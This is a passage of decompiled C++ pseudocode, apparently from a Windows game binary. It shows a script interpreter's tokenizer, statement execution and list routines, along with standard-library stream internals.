v2->l_MaxSize + 3) = v5 - 1; v17 = (int)((char *)v8 + 12 * v5); *(_WORD *)(v17 - 8) = v2->l_MaxSize; v18 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v17 = *(_DWORD *)v18; *(_DWORD *)(v17 + 4) = *(_DWORD *)(v18 + 4); *(_DWORD *)(v17 + 8) = *(_DWORD *)(v18 + 8); v19 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v19); v20 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v21 = *v20; if ( v21 ) { v22 = (char *)v21 - 4; _eh_vector_destructor_iterator_( v21, 8u, *((_DWORD *)v21 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__(v22); } v2->l_ListArray->la_Array = (PineEventScriptNode::Statement *)extsizea; v23 = v2->l_ListArray; v2->l_MaxSize = v5; v23->la_Size = (unsigned __int16)v5; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (004BE160) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, PineEventScriptNode::Statement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)(v3 + 4) = ele->s_Statement; return 1; } // 4BE175: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004BE190) -------------------------------------------------------- void __thiscall std::num_put>>::num_put>>(std::num_put > > *this, unsigned int _Refs) { std::num_put > > *v2; // esi@1 std::_Locinfo thisa; // [sp+8h] [bp-80h]@1 int v4; // [sp+84h] [bp-4h]@1 v2 = this; this->baseclass_0._Refs = _Refs; v4 = 0; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::num_put>>::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); *(_QWORD *)&v2->_Cvt._Hand = _Getcvt(); std::_Locinfo::__Locinfo(&thisa); } // 650EF0: using guessed type int (__thiscall *std__num_put_char_std__ostreambuf_iterator_char_std__char_traits_char______vftable_)(void *p, char); //----- (004BE210) -------------------------------------------------------- void __thiscall std::codecvt_base::_codecvt_base(std::num_get > > *this) { this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } // 689C6C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (004BE220) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementBaseExpress::StatementBaseExpress(PineEventScriptNode::StatementBaseExpress *this, char *command) { PineEventScriptNode::StatementBaseExpress *v2; // eax@1 char *v3; // ecx@1 char v4; // dl@2 v2 = this; v3 = command; v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatementBaseExpress::_vftable_; v2->sbe_Express.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; v2->sbe_Express.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; v2->sbe_Express.e_Term.t_Atom = 0; v2->sbe_Express.e_Term.t_Term = 0; v2->sbe_Express.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; v2->sbe_Express.e_Oper.co_Oper.pst_Buffer[0] = 0; v2->sbe_Express.e_Oper.co_OperType = 0; v2->sbe_Express.e_Express = 0; do { v4 = *v3; v3[v2->sbe_Command - command] = *v3; ++v3; } while ( v4 ); } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 650F14: using guessed type int (__stdcall *PineEventScriptNode__StatementBaseExpress___vftable_)(int tr); //----- (004BE270) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetToken(PineEventScriptNode::Identify *this, PineScriptToken *varname, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Identify *v3; // eax@1 PineEventScriptNode::Id *v4; // ecx@1 PineScriptToken *result; // eax@4 PineEventScriptNode::Express *v6; // ecx@5 PineScriptToken rst; // [sp+Ch] [bp-104h]@1 unsigned int v8; // [sp+10Ch] [bp-4h]@1 v8 = (unsigned int)&rst ^ __security_cookie; v3 = this; v4 = this->i_Id; if ( v4 ) { if ( varname ) memcpy(varname, &v4->i_Identify, 0x100u); result = varname; } else { v6 = v3->i_Exp; if ( v6 && (rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v6->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) { memcpy(varname, PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst), 0x100u); result = varname; } else { result = 0; } } return result; } //----- (004BE310) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetVariable(PineEventScriptNode::Identify *this, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Identify *v2; // eax@1 PineEventScriptNode::Id *v3; // ecx@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v5; // ecx@3 PineScriptToken rst; // [sp+10h] [bp-108h]@2 unsigned int v7; // [sp+114h] [bp-4h]@1 int v8; // [sp+118h] [bp+0h]@1 v7 = (unsigned int)&v8 ^ __security_cookie; v2 = this; v3 = this->i_Id; if ( v3 ) { memcpy(&rst, &v3->i_Identify, sizeof(rst)); result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); } else { v5 = v2->i_Exp; if ( v5 && (rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &rst); else result = 0; } return result; } //----- (004BE3D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePrint::sb_CloneMe(PineEventScriptNode::StatePrint *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *v2; // esi@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x140u); v2 = (PineEventScriptNode::StatementBase *)v1; if ( v1 ) { PineEventScriptNode::StatementBaseExpress::StatementBaseExpress( (PineEventScriptNode::StatementBaseExpress *)v1, "print"); v2->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatePrint::_vftable_; result = v2; } else { result = 0; } return result; } // 650F28: using guessed type int (__stdcall *PineEventScriptNode__StatePrint___vftable_)(int tr); //----- (004BE400) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Step(PineEventScriptNode::StateVarDeclear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateVarDeclear *v4; // ebp@1 int v5; // eax@1 char *v6; // ebx@2 PineEventScriptNode::Identify *v7; // edi@2 PineScriptToken *v8; // eax@3 PineScriptToken *v9; // eax@3 int v10; // ecx@5 int v11; // eax@6 int i; // [sp+10h] [bp-108h]@1 PineScriptToken varname; // [sp+14h] [bp-104h]@1 unsigned int v15; // [sp+114h] [bp-4h]@1 v4 = this; v15 = (unsigned int)&i ^ __security_cookie; v5 = this->svd_VarNum; varname.pst_Buffer[0] = 0; i = 0; if ( v5 <= 0 ) { LABEL_6: v11 = ps->ps_StackPoint; if ( v11 ) { ps->ps_StackPoint = v11 - 1; LOWORD(v11) = 1; } } else { v6 = (char *)this->svd_Express; v7 = this->svd_VarName; while ( 1 ) { v8 = PineEventScriptNode::Identify::i_GetToken(v7, &varname, ps); v9 = PineScriptStack::VariableStack::vs_Push(&ps->ps_VarStack, v8); if ( !v9 ) break; if ( !(*(int (__thiscall **)(char *, PineScriptToken *, PineScriptStack::ProcessStack *))(*(_DWORD *)v6 + 8))( v6, v9, ps) ) break; v10 = v4->svd_VarNum; ++v7; v6 += 284; ++i; if ( i >= v10 ) goto LABEL_6; } LOWORD(v11) = 0; } return v11; } //----- (004BE4C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Step(PineEventScriptNode::StateBreak *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateBreak *v4; // eax@1 PineEventScriptNode::Express *v5; // ecx@1 PineScriptToken *v7; // [sp-4h] [bp-10Ch]@2 PineScriptToken exitblock; // [sp+4h] [bp-104h]@1 unsigned int v9; // [sp+104h] [bp-4h]@1 v9 = (unsigned int)&exitblock ^ __security_cookie; v4 = this; v5 = this->b_Break; exitblock.pst_Buffer[0] = 0; if ( v5 ) v7 = v4->b_Break->baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)v4->b_Break, &exitblock, ps); else v7 = 0; return PineScriptStack::ProcessStack::ps_ExitBlock(ps, v7); } //----- (004BE520) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Step(PineEventScriptNode::StateCall *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateCall *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@2 PineScriptToken *v6; // eax@2 PineEventScriptNode::ScriptAtom *v7; // eax@2 int v8; // ecx@3 int v9; // ecx@4 PineScriptToken *v10; // eax@7 PineEventScriptNode::ScriptAtom *v11; // eax@7 int v13; // eax@11 const char *v14; // [sp+4h] [bp-110h]@6 PineScriptToken blockname; // [sp+10h] [bp-104h]@1 unsigned int v16; // [sp+110h] [bp-4h]@1 v16 = (unsigned int)&blockname ^ __security_cookie; v4 = this; if ( *ip ) { v13 = ps->ps_StackPoint; if ( v13 ) { ps->ps_StackPoint = v13 - 1; return 1; } return 0; } *ip = 1; v5 = this->sc_CallBlock.baseclass_0.vfptr; blockname.pst_Buffer[0] = 0; v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &blockname, ps); v7 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(ps->ps_Script, v6); if ( !v7 ) { if ( v4->sc_DefaultBlock ) { v10 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sc_DefaultBlock->baseclass_0.vfptr->sa_Calculate)( &blockname, ps); v11 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(ps->ps_Script, v10); if ( v11 ) return PineScriptStack::ProcessStack::ps_Push(ps, v11); v14 = (const char *)&blockname; } else { v14 = (const char *)&blockname; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::StateCall::sa_Step : not exist default routine", v14); return 0; } v8 = ps->ps_StackPoint; if ( (unsigned int)v8 >= 0x1F ) return 0; v9 = v8 + 1; ps->ps_StackPoint = v9; ps->ps_Stack[v9].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v7; return 1; } //----- (004BE640) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Id::sa_Calculate(PineEventScriptNode::Id *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 PineScriptToken *v4; // esi@2 result = PineScriptStack::ProcessStack::ps_FindVariable(ps, &this->i_Identify); if ( result ) { v4 = result; result = buffer; memcpy(buffer, v4, 0x100u); } return result; } //----- (004BE670) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Term::sa_Calculate(PineEventScriptNode::Term *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::ScriptAtom *v3; // eax@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Term *v5; // eax@3 PineScriptToken *v6; // eax@4 v3 = this->t_Atom; if ( v3 ) { result = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))v3->vfptr->sa_Calculate)(buffer, ps); } else { v5 = this->t_Term; if ( v5 ) { v6 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))v5->baseclass_0.vfptr->sa_Calculate)(buffer, ps); memcpy(buffer, PineScriptStack::ProcessStack::ps_FindVariable(ps, v6), 0x100u); result = buffer; } else { result = 0; } } return result; } //----- (004BE6C0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_GetToken(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *v2; // edi@1 const void *v3; // edx@1 PineScriptToken *result; // eax@2 int v5; // eax@3 int v6; // eax@8 int v7; // edx@13 PineScriptReader::TokenReader *v8; // ecx@13 v2 = this; v3 = &this->tr_UngetToken; if ( this->tr_UngetToken.pst_Buffer[0] ) { result = tkn; memcpy(tkn, v3, 0x100u); *(_BYTE *)v3 = 0; } else { PineScriptReader::CharacterReader::cr_SkipSpace(&this->tr_CharReader); v5 = v2->tr_CharReader.cr_UngetBuffer; if ( v5 == -1 ) v5 = PineScriptReader::CharacterReader::cr_GetCh(&v2->tr_CharReader); else v2->tr_CharReader.cr_UngetBuffer = -1; if ( v5 == -1 ) { v2->tr_ErrCode = "Unexpected EOF"; result = 0; } else { v2->tr_BufPnt = 0; v2->tr_Buffer.pst_Buffer[0] = v5; LOBYTE(v6) = v2->tr_Buffer.pst_Buffer[0]; ++v2->tr_BufPnt; if ( (_BYTE)v6 == 34 ) { result = PineScriptReader::TokenReader::tr_ReadString(v2, tkn); } else { v6 = (unsigned __int8)v6; if ( (signed int)(unsigned __int8)v6 < 48 || v6 > 57 ) { if ( PineScriptReader::TokenReader::tr_isAlNum(v2, v6) ) { result = PineScriptReader::TokenReader::tr_ReadIdent(v8, tkn); } else { result = tkn; v2->tr_Buffer.pst_Buffer[v7] = 0; memcpy(tkn, &v2->tr_Buffer, 0x100u); } } else { result = PineScriptReader::TokenReader::tr_ReadNumber(v2, tkn); } } } } return result; } //----- (004BE7B0) -------------------------------------------------------- std::basic_ostream > *__thiscall std::basic_ostream>::flush(std::basic_ostream > *this) { std::basic_ostream > *v1; // esi@1 char *v2; // eax@1 signed int v3; // edi@1 int v4; // ecx@4 int v5; // eax@5 v1 = this; v2 = (char *)this + *(_DWORD *)(*(_DWORD *)&this->dummy[0] + 4); v3 = 0; if ( !(v2[8] & 6) && (*(int (__thiscall **)(_DWORD))(**((_DWORD **)v2 + 10) + 44))(*((_DWORD *)v2 + 10)) == -1 ) v3 = 4; v4 = (int)((char *)v1 + *(_DWORD *)(*(_DWORD *)&v1->dummy[0] + 4)); if ( v3 ) { v5 = v3 | *(_DWORD *)(v4 + 8); if ( !*(_DWORD *)(v4 + 40) ) v5 |= 4u; std::ios_base::clear((std::ios_base *)v4, v5, 0); } return v1; } //----- (004BE810) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this) { std::basic_streambuf > *v1; // esi@1 int v2; // eax@2 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 21) + 4) - 84) = &std::basic_stringstream_std::allocator>::_vftable_; v1 = (std::basic_streambuf > *)((char *)this - 72); *((_DWORD *)this - 18) = &std::basic_stringbuf_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::_Tidy((std::basic_stringbuf,std::allocator > *)this - 1); std::basic_streambuf>::_basic_streambuf>(v1); *(_DWORD *)((char *)v1 + *(_DWORD *)(*((_DWORD *)v1 - 3) + 4) - 12) = &std::basic_iostream>::_vftable_; if ( v1 == (std::basic_streambuf > *)12 ) v2 = 0; else v2 = (int)((char *)v1 - 4); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v2 + 4) + v2) = &std::basic_ostream>::_vftable_; *(_DWORD *)((char *)v1 + *(_DWORD *)(*((_DWORD *)v1 - 3) + 4) - 12) = std::basic_istream>::_vftable_; } // 650D88: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 650D90: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 650D94: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); // 650EB0: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); // 650F9C: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); //----- (004BE8A0) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::overflow(std::basic_stringbuf,std::allocator > *this, int _Meta) { std::basic_stringbuf,std::allocator > *v2; // ebp@1 char **v3; // esi@2 char *v4; // edx@2 char *v5; // ecx@3 int v6; // eax@4 int result; // eax@5 unsigned int v8; // esi@7 int *v9; // ecx@8 unsigned int v10; // edx@12 int v11; // ecx@13 unsigned int v12; // ecx@14 void *v13; // ebx@16 void *v14; // eax@21 const void *v15; // esi@23 char **v16; // ecx@27 char **v17; // ecx@30 char *v18; // edx@30 int v19; // ecx@30 int v20; // ecx@30 char *v21; // edx@32 char **v22; // esi@32 int v23; // ecx@32 char **v24; // ebp@34 char *v25; // ecx@34 int _Oldsize; // [sp+8h] [bp-8h]@12 int _Newsize; // [sp+Ch] [bp-4h]@14 v2 = this; if ( this->_Mystate & 8 ) { v3 = this->baseclass_0._IPnext; v4 = *v3; if ( *v3 ) { v5 = this->_Seekhigh; if ( v4 < v5 ) { v6 = (int)&v4[*v2->baseclass_0._IPcount]; *v3 = v5; *v2->baseclass_0._IPcount = v6 - (_DWORD)v5; } } } result = _Meta; if ( _Meta == -1 ) return 0; v8 = (unsigned int)*v2->baseclass_0._IPnext; if ( !v8 || (v9 = v2->baseclass_0._IPcount, v8 >= v8 + *v9) ) { if ( v2->_Mystate & 2 ) return -1; if ( v8 ) { v11 = *v2->baseclass_0._IPcount - (unsigned int)*v2->baseclass_0._IGfirst; _Oldsize = v8 + v11; v10 = v8 + v11; } else { v10 = 0; _Oldsize = 0; } v12 = v10 >> 1; _Newsize = v10; if ( v10 >> 1 < 0x20 ) v12 = 32; v13 = 0; if ( v12 ) { while ( 2147483647 - v12 < v10 ) { v12 >>= 1; if ( !v12 ) goto LABEL_22; } if ( v12 ) { _Newsize = v10 + v12; v14 = operator new(v10 + v12); v10 = _Oldsize; v13 = v14; result = _Meta; } } LABEL_22: if ( v10 ) { v15 = *v2->baseclass_0._IGfirst; memcpy(v13, v15, 4 * (v10 >> 2)); result = _Meta; memcpy((char *)v13 + 4 * (v10 >> 2), (char *)v15 + 4 * (v10 >> 2), v10 & 3); } if ( v2->_Mystate & 1 ) { operator delete(*(void **)v2->baseclass_0._IGfirst); result = _Meta; v10 = _Oldsize; } v2->_Mystate |= 1u; if ( v10 ) { v17 = v2->baseclass_0._IGfirst; v2->_Seekhigh += v13 - *v17; v18 = *v17; v19 = *v2->baseclass_0._IPnext - *v17; *v2->baseclass_0._IPfirst += v13 - v18; v20 = (int)((char *)v13 + v19); *v2->baseclass_0._IPnext = (char *)v20; *v2->baseclass_0._IPcount = (int)((char *)v13 + _Newsize - v20); if ( v2->_Mystate & 4 ) { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = 0; *v2->baseclass_0._IGcount = (int)v13; } else { v21 = *v2->baseclass_0._IPnext; v22 = v2->baseclass_0._IGfirst; v23 = (int)((char *)v13 + *v2->baseclass_0._IGnext - *v22); *v22 = (char *)v13; *v2->baseclass_0._IGnext = (char *)v23; *v2->baseclass_0._IGcount = (int)&v21[-v23 + 1]; } } else { v16 = v2->baseclass_0._IPfirst; v2->_Seekhigh = (char *)v13; *v16 = (char *)v13; *v2->baseclass_0._IPnext = (char *)v13; *v2->baseclass_0._IPcount = _Newsize; if ( v2->_Mystate & 4 ) { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = 0; *v2->baseclass_0._IGcount = (int)v13; } else { *v2->baseclass_0._IGfirst = (char *)v13; *v2->baseclass_0._IGnext = (char *)v13; *v2->baseclass_0._IGcount = 1; } } v9 = v2->baseclass_0._IPcount; } --*v9; v24 = v2->baseclass_0._IPnext; v25 = (*v24)++; *v25 = result; return result; } //----- (004BEAA0) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this, int _Mode) { std::basic_stringbuf,std::allocator > *v2; // esi@1 signed int v3; // eax@1 v2 = this; std::basic_streambuf>::basic_streambuf>(&this->baseclass_0); v3 = 0; v2->baseclass_0.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_stringbuf_std::allocator>::_vftable_; if ( !(_Mode & 1) ) v3 = 4; if ( !(_Mode & 2) ) v3 |= 2u; if ( _Mode & 8 ) v3 |= 8u; v2->_Mystate = v3; v2->_Seekhigh = 0; } // 650EB0: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); //----- (004BEB10) -------------------------------------------------------- void __thiscall std::basic_ostream>::sentry::sentry(std::basic_ostream >::sentry *this, std::basic_ostream > *_Ostr) { std::basic_ostream >::sentry *v2; // edi@1 int v3; // eax@1 int v4; // eax@3 int v5; // ecx@3 char *v6; // eax@3 std::basic_ostream > *v7; // eax@4 v2 = this; this->baseclass_0._Myostr = _Ostr; v3 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40]; if ( v3 ) std::_Mutex::_Lock((std::_Mutex *)(v3 + 4)); v4 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v5 = *(_DWORD *)&_Ostr->dummy[v4 + 8]; v6 = (char *)_Ostr + v4; if ( !v5 ) { v7 = (std::basic_ostream > *)*((_DWORD *)v6 + 11); if ( v7 ) std::basic_ostream>::flush(v7); } v2->_Ok = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 8] == 0; } //----- (004BEBA0) -------------------------------------------------------- char __thiscall std::basic_ios>::widen(std::basic_ios > *this, char _Byte) { std::locale *v2; // eax@1 std::ctype *v3; // eax@1 std::locale v4; // esi@1 std::ctype *v5; // edi@1 unsigned int v6; // eax@2 int v7; // esi@5 std::locale result; // [sp+8h] [bp-14h]@1 std::_Lockit thisa; // [sp+Ch] [bp-10h]@2 int v11; // [sp+18h] [bp-4h]@1 v2 = std::ios_base::getloc(&this->baseclass_0, &result); v11 = 0; v3 = std::use_facet>(v2); v4 = result; v5 = v3; v11 = -1; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v6 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( v6 && v6 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v4 + 4) = v6 - 1; v7 = ((*(_DWORD *)(*(_DWORD *)&v4 + 4) != 0) - 1) & *(_DWORD *)&v4; std::_Lockit::__Lockit(&thisa); if ( v7 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v7)(v7, 1); } return v5->baseclass_0.baseclass_0.vfptr[6].__vecDelDtor((std::locale::facet *)v5, _Byte); } //----- (004BEC50) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, PineEventScriptNode::Block *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy((void *)(v3 + 12), &ele->b_BlockName.bn_Name.i_Identify, 0x10Cu); return 1; } // 4BEC65: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004BECB0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Block *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy((void *)(v3 + 12), &ele->b_BlockName.bn_Name.i_Identify, 0x10Cu); return 1; } // 4BECC6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004BED10) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, PineEventScriptNode::Block *ele) { List *v2; // edx@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bp@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; memcpy(&ele->b_BlockName.bn_Name.i_Identify, (const void *)(*(_DWORD *)v6 + 12), 0x10Cu); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004BED90) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Block *ele) { List *v2; // edx@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bp@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; memcpy(&ele->b_BlockName.bn_Name.i_Identify, (const void *)(*(_DWORD *)v6 + 12), 0x10Cu); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004BEE10) -------------------------------------------------------- unsigned int __cdecl std::num_put>>::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x10u); if ( v1 ) std::num_put>>::num_put>>( (std::num_put > > *)v1, 0); else v2 = 0; *_Ppf = v2; } return 4; } //----- (004BEE80) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004BEED0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004BEF20) -------------------------------------------------------- PineScriptTracer::ScriptTracer *__thiscall PineScriptTracer::ScriptTracer::operator<<(PineScriptTracer::ScriptTracer *this, PineEventScriptNode::Identify *id) { PineScriptTracer::ScriptTracer *v2; // esi@1 PineScriptStack::ProcessStack *v3; // ST04_4@1 PineScriptToken tkn; // [sp+4h] [bp-104h]@1 unsigned int v6; // [sp+104h] [bp-4h]@1 v2 = this; v6 = (unsigned int)&tkn ^ __security_cookie; v3 = this->st_ProcessStack; tkn.pst_Buffer[0] = 0; PineEventScriptNode::Identify::i_GetToken(id, &tkn, v3); return v2; } //----- (004BEF70) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Equal(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // ebp@1 unsigned __int16 result; // ax@4 unsigned int v4; // eax@5 void *v5; // edi@5 char v6; // cl@6 PineScriptReader::TokenReader *v7; // esi@7 bool v8; // zf@11 int second; // [sp+4h] [bp-10Ch]@1 PineScriptReader::TokenReader *thisa; // [sp+8h] [bp-108h]@1 PineScriptToken tkn; // [sp+Ch] [bp-104h]@1 unsigned int v12; // [sp+10Ch] [bp-4h]@1 v12 = (unsigned int)&second ^ __security_cookie; v2 = this; thisa = tr; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && ((second = (unsigned __int8)tkn.pst_Buffer[0], tkn.pst_Buffer[0] == 61) || tkn.pst_Buffer[0] == 33) ) { v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); v7 = thisa; if ( PineScriptReader::TokenReader::tr_GetToken(thisa, &tkn) ) { if ( tkn.pst_Buffer[0] == 61 ) { PineScriptToken::pst_Merge(&v2->co_Oper, &tkn); v2->co_OperType = (second != 61) + 7; result = 1; } else { memcpy(&v7->tr_UngetToken, &tkn, sizeof(v7->tr_UngetToken)); v8 = second == 61; v2->co_OperType = 1; result = v8; } } else { result = 0; } } else { result = 0; } return result; } //----- (004BF090) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Excremation(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // ebx@1 unsigned __int16 result; // ax@3 unsigned int v4; // eax@4 void *v5; // edi@4 char v6; // cl@5 PineScriptToken tkn; // [sp+4h] [bp-104h]@1 unsigned int 